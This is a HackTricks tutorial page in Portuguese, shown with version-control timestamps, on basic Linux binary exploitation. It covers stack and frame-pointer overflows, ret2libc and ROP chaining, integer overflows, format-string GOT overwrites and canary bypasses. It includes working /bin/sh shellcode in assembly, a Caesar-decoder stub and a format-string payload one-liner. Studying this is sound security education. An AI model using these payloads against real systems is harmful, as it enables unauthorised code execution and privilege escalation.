hacktricks/exploiting/linux-exploiting-basic-esp/README.md

869 lines
52 KiB
Markdown
Raw Normal View History

# Exploração Linux (Básico) (SPA)
2022-04-28 16:01:33 +00:00
## Exploração Linux (Básico) (SPA)
2022-05-01 13:25:53 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
2022-04-28 16:01:33 +00:00
</details>
2022-05-01 13:25:53 +00:00
## **ASLR**
Aleatorização de Endereços
2023-06-06 18:56:34 +00:00
**Desativar aleatorização (ASLR) GLOBAL (root)**:\
2022-02-28 09:13:08 +00:00
echo 0 > /proc/sys/kernel/randomize\_va\_space\
2023-06-06 18:56:34 +00:00
Reativar aleatorização GLOBAL: echo 2 > /proc/sys/kernel/randomize\_va\_space
2023-06-06 18:56:34 +00:00
**Desativar para uma execução** (não requer root):\
setarch \`arch\` -R ./exemplo argumentos\
setarch \`uname -m\` -R ./exemplo argumentos
2023-06-06 18:56:34 +00:00
**Desativar proteção de execução na pilha**\
gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack exemplo.c -o exemplo
**Arquivo Core**\
ulimit -c unlimited\
gdb /exec arquivo_core\
/etc/security/limits.conf -> \* soft core unlimited
2023-06-06 18:56:34 +00:00
**Texto**\
**Dados**\
**BSS**\
**Heap**
2023-06-06 18:56:34 +00:00
**Pilha**
2023-06-06 18:56:34 +00:00
**Seção BSS**: Variáveis globais ou estáticas não inicializadas
```
static int i;
```
2023-06-06 18:56:34 +00:00
**Seção DATA**: Variáveis globais ou estáticas inicializadas
```
int i = 5;
```
**Seção TEXT**: Instruções de código (opcodes)
**Seção HEAP**: Buffers alocados dinamicamente (malloc(), calloc(), realloc())
**Seção STACK**: A pilha (Argumentos passados, strings de ambiente (env), variáveis locais...)
## **1. ESTOUROS DE PILHA**
2023-08-29 18:57:50 +00:00
> estouro de buffer, sobrecarga de buffer, estouro de pilha, esmagamento de pilha
Segmentation fault ou violação de segmentação: Quando se tenta acessar um endereço de memória que não foi atribuído ao processo.
Para obter o endereço de uma função dentro de um programa, pode-se fazer:
```
objdump -d ./PROGRAMA | grep FUNCION
```
2022-05-01 13:25:53 +00:00
## ROP
2023-06-06 18:56:34 +00:00
### Chamada para sys\_execve
{% content-ref url="rop-syscall-execv.md" %}
[rop-syscall-execv.md](rop-syscall-execv.md)
{% endcontent-ref %}
2020-12-30 00:28:59 +00:00
2022-05-01 13:25:53 +00:00
## **2.SHELLCODE**
View kernel interrupts: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
2022-02-28 09:13:08 +00:00
setreuid(0,0); // \_\_NR\_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
exit(0); // \_\_NR\_exit 1
xor eax, eax ; clear eax\
xor ebx, ebx ; ebx = 0 because there are no arguments to pass\
2022-02-28 09:13:08 +00:00
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
int 0x80 ; Execute syscall
**nasm -f elf assembly.asm** —> Returns a .o file\
**ld assembly.o -o shellcodeout** —> Generates an executable with the assembly code and we can extract the opcodes with **objdump**\
**objdump -d -Mintel ./shellcodeout** —> To verify that it is indeed our shellcode and extract the OpCodes
2023-08-29 18:57:50 +00:00
**Verify that the shellcode works**
```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
Para verificar se as chamadas de sistema estão sendo feitas corretamente, o programa anterior deve ser compilado e as chamadas de sistema devem aparecer em **strace ./PROGRAMA\_COMPILADO**
2023-08-29 18:57:50 +00:00
Ao criar shellcodes, um truque pode ser usado. A primeira instrução é um salto para uma chamada. A chamada chama o código original e também coloca o EIP na pilha. Após a instrução de chamada, inserimos a string necessária, para que com esse EIP possamos apontar para a string e continuar executando o código.
2023-08-29 18:57:50 +00:00
EX **TRUCO (/bin/sh)**:
```
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
**EJ usando o Stack(/bin/sh):**
```
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
```
**EJ FNSTENV:**
```
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
```
**Caçador de Ovos:**
Consiste em um pequeno código que percorre as páginas de memória associadas a um processo em busca da shellcode ali armazenada (procura por alguma assinatura na shellcode). Útil nos casos em que há apenas um pequeno espaço para injetar código.
**Shellcodes Polimórficos**
São shells cifrados que possuem um pequeno código que os descriptografa e salta para ele, usando o truque de Call-Pop, este seria um **exemplo de cifra de César**:
```
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
```
2023-06-06 18:56:34 +00:00
1. **Atacando o Frame Pointer (EBP)**
2023-06-06 18:56:34 +00:00
Útil em uma situação em que podemos modificar o EBP, mas não o EIP.
Sabe-se que ao sair de uma função, o seguinte código assembly é executado:
```
movl %ebp, %esp
popl %ebp
ret
```
De esta forma, se pode modificar o EBP ao sair de uma função (fvuln) que foi chamada por outra função, quando a função que chamou fvuln terminar, seu EIP pode ser modificado.
2023-08-29 18:57:50 +00:00
Em fvuln, pode-se introduzir um EBP falso que aponte para um local onde esteja o endereço da shellcode + 4 (é necessário adicionar 4 por causa do pop). Assim, ao sair da função, o valor de &(\&Shellcode)+4 será colocado em ESP, com o pop, 4 será subtraído de ESP e ele apontará para o endereço da shellcode quando o ret for executado.
**Exploit:**\
2023-06-06 18:56:34 +00:00
\&Shellcode + "AAAA" + SHELLCODE + preenchimento + &(\&Shellcode)+4
**Exploit Off-by-One**\
Permite modificar apenas o byte menos significativo do EBP. Pode-se realizar um ataque como o anterior, mas a memória que armazena o endereço da shellcode deve compartilhar os 3 primeiros bytes com o EBP.
2022-05-01 13:25:53 +00:00
## **4. Métodos return to Libc**
Método útil quando o stack não é executável ou deixa um buffer muito pequeno para modificar.
O ASLR faz com que, em cada execução, as funções sejam carregadas em posições diferentes da memória. Portanto, esse método pode não ser eficaz nesse caso. Para servidores remotos, como o programa está sendo executado constantemente no mesmo endereço, pode ser útil.
* **cdecl (C declaration)** Coloca os argumentos no stack e limpa a pilha após sair da função
* **stdcall (standard call)** Coloca os argumentos na pilha e é a função chamada que limpa a pilha
* **fastcall** Coloca os dois primeiros argumentos em registradores e o restante na pilha
É colocado o endereço da instrução system da libc e é passada como argumento a string “/bin/sh”, normalmente de uma variável de ambiente. Além disso, é usada a direção da função exit para que, uma vez que a shell não seja mais necessária, o programa saia sem problemas (e escreva logs).
**export SHELL=/bin/sh**
Para encontrar os endereços necessários, pode-se olhar dentro do **GDB:**\
**p system**\
**p exit**\
**rabin2 -i executável** —> Fornece o endereço de todas as funções usadas pelo programa ao ser carregado\
2023-06-06 18:56:34 +00:00
(Dentro de um start ou algum breakpoint): **x/500s $esp** —> Procuramos aqui a string /bin/sh
Uma vez que tenhamos esses endereços, o **exploit** ficaria assim:
“A” \* DISTÂNCIA EBP + 4 (EBP: podem ser 4 "A"s, embora seja melhor se for o EBP real para evitar falhas de segmentação) + Endereço de **system** (sobrescreverá o EIP) + Endereço de **exit** (ao sair de system(“/bin/sh”), esta função será chamada, pois os primeiros 4 bytes do stack são tratados como o próximo endereço do EIP a ser executado) + Endereço de “**/bin/sh**” (será o parâmetro passado para system)
Dessa forma, o EIP será sobrescrito com o endereço de system, que receberá a string “/bin/sh” como parâmetro e, ao sair disso, executará a função exit().
É possível encontrar a situação em que algum byte de algum endereço de alguma função seja nulo ou um espaço (\x20). Nesse caso, pode-se desmontar os endereços anteriores a essa função, pois provavelmente haverá vários NOPs que permitirão chamar um deles em vez da função diretamente (por exemplo, com > x/8i system-4).
Este método funciona porque, ao chamar uma função como system usando o opcode **ret** em vez de **call**, a função entende que os primeiros 4 bytes serão o endereço **EIP** para retornar.
Uma técnica interessante com este método é chamar **strncpy()** para mover um payload do stack para o heap e, posteriormente, usar **gets()** para executar esse payload.
Outra técnica interessante é o uso de **mprotect()**, que permite atribuir as permissões desejadas a qualquer parte da memória. Funciona ou funcionava no BDS, MacOS e OpenBSD, mas não no Linux (controla que não seja possível conceder permissões de escrita e execução ao mesmo tempo). Com esse ataque, seria possível reconfigurar a pilha como executável.
2023-06-06 18:56:34 +00:00
**Encadeamento de funções**
Com base na técnica anterior, essa forma de exploit consiste em:\
Preenchimento + \&Função1 + \&pop;ret; + \&arg\_fun1 + \&Função2 + \&pop;ret; + \&arg\_fun2 + …
Dessa forma, é possível encadear funções a serem chamadas. Além disso, se desejar usar funções com vários argumentos, pode-se colocar os argumentos necessários (por exemplo, 4) e inserir os 4 argumentos e procurar um endereço com opcodes: pop, pop, pop, pop, ret —> **objdump -d executável**
**Encadeamento através de falsificação de frames (encadeamento de EBPs)**
Consiste em aproveitar a capacidade de manipular o EBP para encadear a execução de várias funções por meio do EBP e de "leave;ret"
2023-06-06 18:56:34 +00:00
PREENCHIMENTO
* Coloca-se no EBP um EBP falso que aponta para: 2º EBP\_falso + a função a ser executada: (\&system() + \&leave;ret + &“/bin/sh”)
* No EIP, coloca-se como endereço uma função &(leave;ret)
Inicia-se a shellcode com o endereço da próxima parte da shellcode, por exemplo: 2ºEBP\_falso + \&system() + &(leave;ret;) + &”/bin/sh”
o 2ºEBP seria: 3ºEBP\_falso + \&system() + &(leave;ret;) + &”/bin/ls”
Essa shellcode pode ser repetida indefinidamente nas partes da memória às quais se tem acesso, de modo que uma shellcode facilmente divisível em pequenos pedaços de memória seja obtida.
(A execução de funções é encadeada misturando as vulnerabilidades de EBP e ret2lib vistas anteriormente)
## **5. Métodos complementares**
2022-04-28 23:27:22 +00:00
**Ret2Ret**
Útil quando não é possível inserir um endereço do stack no EIP (verifica-se que o EIP não contenha 0xbf) ou quando não é possível calcular a localização da shellcode. No entanto, a função vulnerável aceita um parâmetro (a shellcode irá aqui).
Dessa forma, ao alterar o EIP por um endereço de um **ret**, a próxima direção será carregada (que é o endereço do primeiro argumento da função). Ou seja, a shellcode será carregada.
O exploit seria: SHELLCODE + Preenchimento (até o EIP) + **\&ret** (os próximos bytes da pilha apontam para o início da shellcode, pois o endereço do argumento passado é colocado na pilha)
2023-08-29 18:57:50 +00:00
Parece que funções como **strncpy**, uma vez completas, removem da pilha o endereço onde a shellcode estava armazenada, impossibilitando essa técnica. Ou seja, o endereço passado para a função como argumento (que armazena a shellcode) é alterado por um 0x00, então, ao chamar o segundo **ret**, encontra um 0x00 e o programa falha.
```
**Ret2PopRet**
```
2022-04-28 23:27:22 +00:00
**Técnica de Murat**
Se não tivermos controle sobre o primeiro argumento, mas sim sobre o segundo ou terceiro, podemos sobrescrever o EIP com um endereço de pop-ret ou pop-pop-ret, conforme necessário.
Em Linux, todos os programas são mapeados começando em 0xbfffffff.
Ao observar como a pilha de um novo processo é construída no Linux, é possível desenvolver um exploit de modo que o programa seja iniciado em um ambiente onde a única variável seja a shellcode. O endereço dela pode ser calculado como: addr = 0xbfffffff - 4 - strlen(NOME_do_executável_completo) - strlen(shellcode)
Dessa forma, é facilmente obtido o endereço onde a variável de ambiente com a shellcode está localizada.
Isso é possível devido à função execle, que permite criar um ambiente com apenas as variáveis de ambiente desejadas.
2023-06-06 18:56:34 +00:00
**Jump to ESP: Estilo Windows**
Como o ESP está sempre apontando para o início da pilha, essa técnica consiste em substituir o EIP pelo endereço de uma chamada para **jmp esp** ou **call esp**. Dessa forma, a shellcode é salva após a sobrescrita do EIP, pois após a execução do **ret**, o ESP estará apontando para o próximo endereço, onde a shellcode foi armazenada.
Caso o ASLR não esteja ativado no Windows ou Linux, é possível chamar **jmp esp** ou **call esp** armazenados em algum objeto compartilhado. Se o ASLR estiver ativado, pode-se procurar dentro do próprio programa vulnerável.
Além disso, o fato de poder colocar a shellcode após a corrupção do EIP, em vez de no meio da pilha, permite que as instruções push ou pop executadas no meio da função não afetem a shellcode (o que poderia ocorrer se estivesse no meio da pilha da função).
De forma semelhante, se soubermos que uma função retorna o endereço onde a shellcode está armazenada, podemos chamar **call eax** ou **jmp eax (ret2eax).**
**ROP (Programação Orientada a Retorno) ou pedaços de código emprestados**
Os trechos de código invocados são conhecidos como gadgets.
Essa técnica consiste em encadear diferentes chamadas de funções usando a técnica **ret2libc** e o uso de **pop,ret**.
Em algumas arquiteturas de processadores, cada instrução é um conjunto de 32 bits (como o MIPS, por exemplo). No entanto, na Intel, as instruções têm tamanho variável e várias instruções podem compartilhar um conjunto de bits, por exemplo:
**movl $0xe4ff, -0x(%ebp)** —> Contém os bytes 0xffe4, que também podem ser traduzidos como: **jmp \*%esp**
Dessa forma, é possível executar algumas instruções que nem mesmo estão no programa original.
**ROPgadget.py** ajuda a encontrar valores em binários.
Este programa também é útil para criar os **payloads**. Você pode fornecer a biblioteca da qual deseja extrair os ROPs e ele gerará um payload em Python, ao qual você fornece o endereço da biblioteca desejada e o payload estará pronto para ser usado como shellcode. Além disso, como ele usa chamadas de sistema, não executa nada na pilha, apenas vai armazenando endereços de ROPs que serão executados por meio de **ret**. Para usar esse payload, é necessário chamar o payload por meio de uma instrução **ret**.
**Estouro de inteiros**
2023-08-29 18:57:50 +00:00
Esse tipo de estouro ocorre quando uma variável não está preparada para suportar um número tão grande quanto o fornecido, possivelmente devido a uma confusão entre variáveis com e sem sinal, por exemplo:
2020-11-28 20:03:33 +00:00
```c
#include <stdion.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
2020-11-28 20:03:33 +00:00
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
2020-11-28 20:03:33 +00:00
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
2020-11-28 20:03:33 +00:00
printf("\nIntento de hack\n");
return 0;
}
```
No exemplo anterior, vemos que o programa espera 2 parâmetros. O primeiro é o comprimento da próxima string e o segundo é a string.
Se passarmos um número negativo como primeiro parâmetro, será exibido que len < 256 e passaremos por esse filtro, e também strlen(buffer) será menor que l, pois l é um unsigned int e será muito grande.
Esse tipo de overflow não busca escrever algo no processo do programa, mas sim contornar filtros mal projetados para explorar outras vulnerabilidades.
2023-06-06 18:56:34 +00:00
**Variáveis não inicializadas**
Não se sabe o valor que uma variável não inicializada pode assumir e pode ser interessante observá-la. Pode ser que ela assuma o valor que uma variável da função anterior assumia e que essa variável seja controlada pelo atacante.
## **Strings de Formatação**
Em C, **`printf`** é uma função que pode ser usada para **imprimir** uma string. O **primeiro parâmetro** que essa função espera é o **texto bruto com os formatadores**. Os **parâmetros seguintes** esperados são os **valores** para **substituir** os **formatadores** do texto bruto.
A vulnerabilidade ocorre quando um **texto do atacante é colocado como o primeiro argumento** para essa função. O atacante poderá criar uma **entrada especial abusando** das capacidades de **string de formato printf** para **escrever qualquer dado em qualquer endereço**. Dessa forma, sendo capaz de **executar código arbitrário**.
2023-08-29 18:57:50 +00:00
Formatadores:
```bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**`%n`** **escreve** o **número de bytes escritos** no **endereço indicado. Escrever** tantos **bytes** quanto o número hexadecimal que precisamos **escrever é como você pode escrever qualquer dado**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
### GOT (Tabela de Deslocamentos Globais) / PLT (Tabela de Ligação de Procedimentos)
Esta é a tabela que contém o **endereço** das **funções externas** usadas pelo programa.
2023-06-06 18:56:34 +00:00
Obtenha o endereço desta tabela com: **`objdump -s -j .got ./exec`**
![](<../../.gitbook/assets/image (619).png>)
Observe como após **carregar** o **executável** no GEF você pode **ver** as **funções** que estão na **GOT**: `gef➤ x/20x 0xDIR_GOT`
![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>)
Usando o GEF você pode **iniciar** uma **sessão de depuração** e executar **`got`** para ver a tabela got:
2021-03-22 00:35:56 +00:00
![](<../../.gitbook/assets/image (621).png>)
2021-03-22 11:21:45 +00:00
Em um binário, a GOT tem os **endereços das funções ou** da seção **PLT** que irá carregar o endereço da função. O objetivo deste exploit é **sobrescrever a entrada da GOT** de uma função que será executada posteriormente **com** o **endereço** do PLT da função **`system`**. Idealmente, você irá **sobrescrever** a **GOT** de uma **função** que está **prestes a ser chamada com parâmetros controlados por você** (assim você poderá controlar os parâmetros enviados para a função system).
2021-03-22 11:21:45 +00:00
Se **`system`** **não for usada** pelo script, a função system **não** terá uma entrada na GOT. Neste cenário, você precisará **vazar primeiro o endereço** da função `system`.
2021-03-22 11:21:45 +00:00
A **Tabela de Ligação de Procedimentos** é uma tabela **somente leitura** no arquivo ELF que armazena todos os **símbolos necessários que precisam de resolução**. Quando uma dessas funções é chamada, a **GOT** irá **redirecionar** o **fluxo** para a **PLT** para que possa **resolver** o **endereço** da função e escrevê-lo na GOT.\
Então, na **próxima vez** que uma chamada for feita para esse endereço, a **função** é **chamada diretamente** sem precisar resolvê-la.
2021-03-22 10:43:33 +00:00
Você pode ver os endereços da PLT com **`objdump -j .plt -d ./vuln_binary`**
2021-03-22 10:43:33 +00:00
### **Fluxo de Exploração**
Como explicado anteriormente, o objetivo será **sobrescrever** o **endereço** de uma **função** na **tabela GOT** que será chamada posteriormente. Idealmente, poderíamos definir o **endereço de um shellcode** localizado em uma seção executável, mas é altamente provável que você não consiga escrever um shellcode em uma seção executável.\
Então, uma opção diferente é **sobrescrever** uma **função** que **recebe** seus **argumentos** do **usuário** e **apontá-la** para a **função `system`**.
Para escrever o endereço, geralmente são feitos 2 passos: Você **escreve primeiro 2Bytes** do endereço e depois os outros 2. Para fazer isso, é usado **`$hn`**.
**HOB** é chamado para os 2 bytes mais altos do endereço\
**LOB** é chamado para os 2 bytes mais baixos do endereço
Assim, devido ao funcionamento da string de formato, você precisa **escrever primeiro o menor** de \[HOB, LOB] e depois o outro.
2023-06-06 18:56:34 +00:00
Se HOB < LOB\
`[endereço+2][endereço]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
2023-06-06 18:56:34 +00:00
Se HOB > LOB\
`[endereço+2][endereço]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
\`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'\`
### **Modelo de Exploração de String de Formato**
Você pode encontrar um **modelo** para explorar a GOT usando strings de formato aqui:
{% content-ref url="format-strings-template.md" %}
[format-strings-template.md](format-strings-template.md)
{% endcontent-ref %}
### **.fini\_array**
Essencialmente, esta é uma estrutura com **funções que serão chamadas** antes do programa terminar. Isso é interessante se você puder chamar seu **shellcode apenas pulando para um endereço**, ou em casos em que você precisa voltar ao main novamente para **explorar a string de formato uma segunda vez**.
```bash
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
8049934 a0850408
#Put your address in 0x8049934
```
Note que isso **não** criará um **loop eterno** porque quando você voltar para o principal, o canário perceberá, o final da pilha pode estar corrompido e a função não será chamada novamente. Portanto, com isso você poderá **ter mais 1 execução** da vulnerabilidade.
2023-08-29 18:57:50 +00:00
### **Formatar Strings para Extrair Conteúdo**
Uma string de formatação também pode ser abusada para **extrair conteúdo** da memória do programa.\
Por exemplo, na seguinte situação há uma **variável local na pilha apontando para uma flag**. Se você **encontrar** onde na **memória** o **ponteiro** para a **flag** está, você pode fazer o **printf acessar** esse **endereço** e **imprimir** a **flag**:
2023-06-06 18:56:34 +00:00
Então, a flag está em **0xffffcf4c**
![](<../../.gitbook/assets/image (618) (2).png>)
E a partir do vazamento você pode ver que o **ponteiro para a flag** está no **8º** parâmetro:
![](<../../.gitbook/assets/image (623).png>)
Portanto, **acessando** o **8º parâmetro** você pode obter a flag:
![](<../../.gitbook/assets/image (624).png>)
Note que seguindo o **exploit anterior** e percebendo que você pode **vazar conteúdo**, você pode **definir ponteiros** para o **`printf`** na seção onde o **executável** está **carregado** e **extrair** ele **inteiramente**!
2022-05-01 13:25:53 +00:00
### **DTOR**
{% hint style="danger" %}
Atualmente é muito **incomum encontrar um binário com uma seção dtor**.
{% endhint %}
2023-06-06 18:56:34 +00:00
Os destrutores são funções que são **executadas antes do programa terminar**.\
Se você conseguir **escrever** um **endereço** para um **shellcode** em **`__DTOR_END__`**, isso será **executado** antes do programa terminar.\
2023-06-06 18:56:34 +00:00
Obtenha o endereço desta seção com:
```bash
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
```
Normalmente você encontrará a seção **DTOR** **entre** os valores `ffffffff` e `00000000`. Portanto, se você apenas ver esses valores, significa que **não há nenhuma função registrada**. Portanto, **sobrescreva** o **`00000000`** com o **endereço** do **shellcode** para executá-lo.
2023-08-29 18:57:50 +00:00
### **Strings de Formato para Estouros de Buffer**
O **sprintf move** uma string formatada **para** uma **variável**. Portanto, você poderia abusar da **formatação** de uma string para causar um **estouro de buffer na variável** para onde o conteúdo é copiado.\
Por exemplo, a carga útil `%.44xAAAA` irá **escrever 44B+"AAAA" na variável**, o que pode causar um estouro de buffer.
### **Estruturas \_\_atexit**
{% hint style="danger" %}
Atualmente é muito **incomum explorar isso**.
{% endhint %}
**`atexit()`** é uma função para a qual **outras funções são passadas como parâmetros**. Essas **funções** serão **executadas** ao executar um **`exit()`** ou o **retorno** do **main**.\
Se você puder **modificar** o **endereço** de qualquer uma dessas **funções** para apontar para um shellcode, por exemplo, você **obterá controle** do **processo**, mas atualmente isso é mais complicado.\
Atualmente, os **endereços das funções** a serem executadas estão **ocultos** por várias estruturas e, finalmente, o endereço para o qual apontam não são os endereços das funções, mas são **criptografados com XOR** e deslocamentos com uma **chave aleatória**. Portanto, atualmente esse vetor de ataque não é muito útil, pelo menos em x86 e x64\_86.\
A **função de criptografia** é **`PTR_MANGLE`**. **Outras arquiteturas** como m68k, mips32, mips64, aarch64, arm, hppa... **não implementam a função de criptografia** porque **retornam o mesmo** que receberam como entrada. Portanto, essas arquiteturas seriam atacáveis por esse vetor.
2022-05-01 13:25:53 +00:00
### **setjmp() & longjmp()**
{% hint style="danger" %}
Atualmente é muito **incomum explorar isso**.
{% endhint %}
2023-06-06 18:56:34 +00:00
**`Setjmp()`** permite **salvar** o **contexto** (os registradores)\
**`longjmp()`** permite **restaurar** o **contexto**.\
2023-06-06 18:56:34 +00:00
Os **registradores salvos** são: `EBX, ESI, EDI, ESP, EIP, EBP`\
O que acontece é que EIP e ESP são passados pela função **`PTR_MANGLE`**, então as **arquiteturas vulneráveis a esse ataque são as mesmas acima**.\
2023-06-06 18:56:34 +00:00
Eles são úteis para recuperação de erros ou interrupções.\
No entanto, pelo que li, os outros registradores não são protegidos, **então se houver um `call ebx`, `call esi` ou `call edi`** dentro da função chamada, o controle pode ser assumido. Ou também poderia modificar EBP para modificar o ESP.
2023-06-06 18:56:34 +00:00
**VTable e VPTR em C++**
Cada classe tem uma **Vtable** que é um array de **ponteiros para métodos**.
Cada objeto de uma **classe** tem um **VPtr** que é um **ponteiro** para o array de sua classe. O VPtr faz parte do cabeçalho de cada objeto, então se uma **sobrescrita** do **VPtr** for alcançada, poderia ser **modificado** para **apontar** para um método fictício para que a execução de uma função vá para o shellcode.
## **Medidas preventivas e evasões**
2023-06-06 18:56:34 +00:00
**ASLR não tão aleatório**
O PaX divide o espaço de endereçamento do processo em 3 grupos:
Código e dados iniciados e não iniciados: .text, .data e .bss —> 16 bits de entropia na variável delta\_exec, esta variável é iniciada aleatoriamente com cada processo e é somada aos endereços iniciais
Memória alocada por mmap() e bibliotecas compartilhadas —> 16 bits, delta\_mmap
O stack —> 24 bits, delta\_stack —> Realmente 11 (do byte 10º ao 20º inclusive) —> alinhado a 16 bytes —> 524.288 possíveis endereços reais do stack
As variáveis de ambiente e os argumentos se deslocam menos que um buffer no stack.
**Return-into-printf**
É uma técnica para transformar um estouro de buffer em um erro de formatação de string. Consiste em substituir o EIP para apontar para um printf da função e passar uma string de formato manipulada como argumento para obter valores sobre o estado do processo.
2023-06-06 18:56:34 +00:00
**Ataque a bibliotecas**
As bibliotecas estão em uma posição com 16 bits de aleatoriedade = 65636 possíveis endereços. Se um servidor vulnerável chamar fork(), o espaço de endereçamento de memória é clonado no processo filho e permanece intacto. Portanto, pode-se tentar fazer uma força bruta na função usleep() da libc passando "16" como argumento, de modo que quando demorar mais do que o normal para responder, a função será encontrada. Sabendo onde está essa função, pode-se obter delta\_mmap e calcular as demais.
A única maneira de ter certeza de que o ASLR funciona é usando uma arquitetura de 64 bits. Não há ataques de força bruta lá.
2023-06-06 18:56:34 +00:00
**StackGuard e StackShield**
**StackGuard** insere antes do EIP —> 0x000aff0d(null, \n, EndOfFile(EOF), \r) —> Continuam vulneráveis recv(), memcpy(), read(), bcopy() e não protege o EBP
**StackShield** é mais elaborado que o StackGuard
Ele armazena em uma tabela (Global Return Stack) todos os endereços EIP de retorno para que o estouro de buffer não cause nenhum dano. Além disso, os dois endereços podem ser comparados para verificar se houve um estouro.
Também é possível verificar o endereço de retorno com um valor limite, então se o EIP for para um local diferente do habitual, como o espaço de dados, será detectado. Mas isso pode ser contornado com Ret-to-lib, ROPs ou ret2ret.
Como pode ser visto, o stackshield também não protege as variáveis locais.
2022-04-28 23:27:22 +00:00
**Stack Smash Protector (ProPolice) -fstack-protector**
Coloca o canário antes do EBP. Reorganiza as variáveis locais para que os buffers estejam nas posições mais altas e, assim, não possam sobrescrever outras variáveis.
Além disso, faz uma cópia segura dos argumentos passados acima da pilha (acima das vars locais) e usa essas cópias como argumentos.
Não pode proteger arrays com menos de 8 elementos ou buffers que façam parte de uma estrutura do usuário.
O canário é um número aleatório retirado de "/dev/urandom" ou senão é 0xff0a0000. É armazenado em TLS (Thread Local Storage). Os threads compartilham o mesmo espaço de memória, o TLS é uma área que tem variáveis globais ou estáticas de cada thread. No entanto, em princípio, essas são copiadas do processo pai, embora o processo filho possa modificar esses dados sem modificar os do pai ou dos outros filhos. O problema é que se usar fork() mas não criar um novo canário, então todos os processos (pai e filhos) usarão o mesmo canário. No i386, é armazenado em gs:0x14 e no x86\_64, é armazenado em fs:0x28
Essa proteção localiza funções que tenham buffers que possam ser atacados e inclui no início da função código para colocar o canário e no final para verificá-lo.
A função fork() faz uma cópia exata do processo pai, por isso, se um servidor web chamar fork(), pode-se fazer um ataque de força bruta byte a byte até descobrir o canário que está sendo usado.
